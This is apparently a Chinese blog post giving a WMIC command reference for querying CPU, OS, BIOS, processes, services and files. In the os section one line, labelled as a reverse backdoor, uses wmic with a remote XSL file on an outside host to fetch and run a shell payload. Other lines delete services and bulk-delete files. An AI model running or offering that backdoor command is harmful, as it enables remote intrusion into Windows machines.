#用法: PROCESS ASSOC [<格式说明符>] PROCESS CALL <方法名称> [<实际参数列表>] PROCESS CREATE <分配列表> PROCESS DELETE PROCESS GET [<属性列表>] [<获取开关>] PROCESS LIST [<列表格式>] [<列表开关>]
# - 获取组SID wmic group get Caption,InstallDate,LocalAccount,Domain,SID,Status # aption Domain InstallDate LocalAccount SID Status # WEIYIGEEK\Access Control Assistance Operators WEIYIGEEK TRUE S-1-5-32-579 OK # WEIYIGEEK\Administrators WEIYIGEEK TRUE S-1-5-32-544 OK
cpu
基础示例:
1 2 3 4 5 6 7 8 9 10
# //查看CPU及其内存状况内存速率 wmic cpu get SystemName,Caption,name,CurrentClockSpeed # Caption CurrentClockSpeed Name SystemName # Intel64 Family 6 Model 60 Stepping 3 3301 Intel(R) Core(TM) i5-4590 CPU @ 3.30GHz WEIYIGEEK
#//查看系统实际核心数(启用)以及线程数 > wmic cpu get NumberOfCores,NumberOfEnabledCore,NumberOfLogicalProcessors NumberOfCores NumberOfEnabledCore NumberOfLogicalProcessors 8 8 8
os - 系统信息
基础语法:
1 2 3 4 5 6 7 8 9
OS CALL <方法名称> [<实际参数列表>] OS CREATE <分配列表> OS DELETE OS GET [<属性列表>] [<获取开关>] OS LIST [<列表格式>] [<列表开关>] OS SET [<分配列表>]
> wmic os get /? #可能会被恶意了利用metasploit生成xsl马儿 /FORMAT:<格式说明符> - 处理 XML 结果的关键字/XSL 文件名。
简单示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
# 0.获取操作系统详情 wmic os get /all /format:list
# 1.计算机简要信息 wmic os list brief # BuildNumber Organization RegisteredUser SerialNumber SystemDirectory Version # 18362 WeiyiGeek 00331-10000-00001-AA685 C:\Windows\system32 10.0.18362
# - 获取指定键的值 Wmic os get ServicePackMajorVersion # XP或者Win7 可用查看SP版本 Wmic os get ProductType,OperatingSystemSKU # OperatingSystemSKU ProductType # 48 1
# 2.实现反弹后门 wmic os get /FORMAT:"http://lyshark.com/shell.xsl" & timeout /T 1 /NOBREAK & wmic os get /FORMAT:"http://lyshark.com/shell.xsl"
# 3.设置覆盖安装实际 wmic os where(primary=1) call setdatetime 20070731144642.555555+480
bios
基础示例:
1 2 3 4
#查看bios版本型号 wmic bios get BIOSVersion,Manufacturer,Name # BIOSVersion Manufacturer Name # {"DELL - 1072009", "A11", "American Megatrends - 4028D"} Dell Inc. A11
csproduct
基础示例:
1 2 3 4 5 6 7 8 9
#//计算机系统产品信息(笔记本型号) WMIC CSPRODUCT LIST FULL # Description=计算机系统产品 # IdentifyingNumber=8QVY # Name=OptiPlex # SKUNumber= # UUID=4C4C4544-5551-5610-8059-B8C04F383632 # Vendor=Dell Inc. # Version=00
PROCESS CREATE <assign list> #创建进程 PROCESS DELETE #删除进行 PROCESS GET [<property list>] [<get switches>] #获取进程信息 PROCESS LIST [<list format>] [<list switches>] #列举进程
# 1.显示进程的详细信息 PS C:\Windows\System32\wbem> wmic process list brief PS C:\Windows\System32\wbem> wmic process list full # HandleCount Name Priority ProcessId ThreadCount WorkingSetSize # 0 System Idle Process 0 0 4 8192 # 7653 System 8 4 188 32768
# 2.获取指定进程信息(非常实用) # - 查看独立PID进程名以及及=可执行路径常常和/FORMAT:VALUE联用 wmic process get name,commandline,processid,executablepath /FORMAT:List # CommandLine="C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_0.6.2951.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" # ExecutablePath=C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_0.6.2951.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe # Name=WindowsTerminal.exe # ProcessId=11112
# - 直接获取其值不显示其头部 wmic process get caption,commandline /value # Caption=bash.exe # CommandLine="D:\Program Files\Git\usr\bin\bash.exe"
#3.调用call进行创建进程、终止进程、删除进程、开启与关闭服务 wmic process call create calc wmic process call create shutdown.exe #关闭本地计算机 wmic process call create "C:\Windows\System32\notepad.exe"#新建notepad进程 或者 该路径有空格的情况下 "C:\Program Files\Tencent\QQ\QQ.exe" wmic process where name="explorer.exe" call terminate wmic process where name="notepad.exe" delete # 删除实例 \\WEIYIGEEK\ROOT\CIMV2:Win32_Process.Handle="31788" 实例删除成功。 wmic service where"name='SERVERNAME'" call startservice # 开启服务 wmic service where"name='SERVERNAME'" call stopservice # 关闭服务
#4.过滤进程显示信息 wmic process where"name='svchost.exe'" get ExecutablePath wmic process where"name='wechat.exe'" list full # 显示QQ进程的全部信息 # CommandLine="D:\Program Files (x86)\Tencent\WeChat\WeChat.exe" # CSName=WEIYIGEEK # Description=WeChat.exe # ExecutablePath=D:\Program Files (x86)\Tencent\WeChat\WeChat.exe # ExecutionState= # Handle=10452 # HandleCount=1188 # InstallDate= # KernelModeTime=98750000 # MaximumWorkingSetSize=126004 # MinimumWorkingSetSize=124824 # Name=WeChat.exe # OSName=Microsoft Windows 10 专业版|C:\Windows|\Device\Harddisk0\Partition3 wmic service where"state='running'" list brief # 查看运行中的服务
#5.关闭指定进程,执行下面的命令将关闭正在运行的QQ.exe: wmic process where"name='wechat.exe'" call terminate #结束svchost.exe进程,路径为非C:\WINDOWS\system32\svchost.exe的 wmic process where"name='svchost.exe' and ExecutablePath<>'C:\\WINDOWS\\system32\\svchost.exe'" call Terminate wmic process 2345 call terminate #删除指定进程
#7.精确查找与模糊查找 wmic process where caption="notepad.exe" get caption,commandline /value wmic process where="caption like 'notepad%'" get caption,commandline /value
#8.删除满足多个条件的进程(可以利用Key值进行匹配) wmic process where name="'QQ.exe' and pid='123'" delete
#10.获取非%windows%目录下可执行文件列表 wmic process where"NOT ExecutablePath LIKE '%Windows%'" GET ExecutablePath # ExecutablePath # C:\Program Files (x86)\Google\Chrome\Application\chrome.exe # C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
补充:批处理
1 2 3 4 5 6 7 8
@echo off ::以KB为单位显示进程占用内存 for /f "skip=1 tokens=1-2 delims= " %%a in ('wmic process where caption^="conime.exe" get WorkingSetSize^,PeakWorkingSetSize') do ( set /a m=%%a/1024 set /a mm=%%b/1024 echo 进程conime.exe现在占用内存:%m%K;最高占用内存:%mm%K ) pause
#1.案例:停止、暂停和运行服务功能 wmic SERVICE where name="Spooler" call startservice #运行spooler服务 wmic SERVICE where name="Spooler" call stopservice #运行spooler服务 wmic SERVICE where name="Spooler" call PauseService #暂停spooler服务 wmic SERVICE where name="Spooler" call delete #删除服务
#2.更改spooler服务启动类型[auto|Disabled|Manual] 释[自动|禁用|手动] wmic SERVICE where name="Spooler"set StartMode="auto"
#3.caption 指定服务名进行过滤 Service where caption="windows time" call stopservice #停止服务 Service where caption="windows time" call startservice #启动服务 #停止服务,注意name和caption的区别(CMD中运行不能再Powershell中运行) echo %ERRORLEVEL% #运行命令是否成功
#4.服务信息摘要以及状态信息指定来过滤 wmic service list brief # ExitCode Name ProcessId StartMode State Status # 1077 AJRouter 0 Manual Stopped OK # 0 Spooler 3480 Auto Running OK wmic service where"State='Running'" list brief
#5.创建一个服务(未找到) wmic service create /?:full #获取帮助详细 wmic service call create /?:full
#2.可以进行文件查找(语句里面通配符以及) wmic datafile where"drive='e:' and path='\\test\\' and FileName='cc' and Extension='cmd'" list #查找e盘下test目录(不包括子目录)下的cc.cmd文件 wmic datafile where"drive='e:' and FileName='cc' and Extension='cmd' and FileSize>'1000'" list #查找e盘下所有目录和子目录下的cc.cmd文件,且文件大小大于1K wmic datafile where"drive='h:' and extension='txt' and path like '%\\test\\%' and filename like '%perl%'" get name #查找h盘下目录含有test,文件名含有perl,后缀为txt的文件 wmic datafile where"drive='c:' and extension='ps1' and path like '%\\windows\\%' and filename like '%po%'" get name #比较实用的功能
#3.按照条件删除文件 wmic datafile where"drive='e:' and Extension='cmd' and FileSize>'10000000'" call delete #删除e盘下文件大小大于10M的.cmd文件 wmic datafile where"drive='e:' and Extension<>'cmd' and path='test'" call delete #删除e盘下test目录(不包括子目录)下的非.cmd文件
#5.复制e盘下test目录(不包括子目录)下的cc.cmd文件到e:\,并改名为aa.bat wmic datafile where"drive='e:' and path='\\test\\' and FileName='cc' and Extension='cmd'" call copy "e:\aa.bat"#注意目录的写法
fsdir - 文件目录系统项目管理
基础实例:
1 2 3 4 5 6 7 8 9 10 11 12 13
#1.查找e盘下名为test的目录 wmic FSDIR where"drive='e:' and filename='test'" list
方式1.请访问本博主的B站【WeiyiGeek】首页关注UP主, 将自动随机获取解锁验证码。
Method 2.Please visit 【My Twitter】. There is an article verification code in the homepage.
方式3.扫一扫下方二维码,关注本站官方公众号
回复:验证码
将获取解锁(有效期7天)本站所有技术文章哟!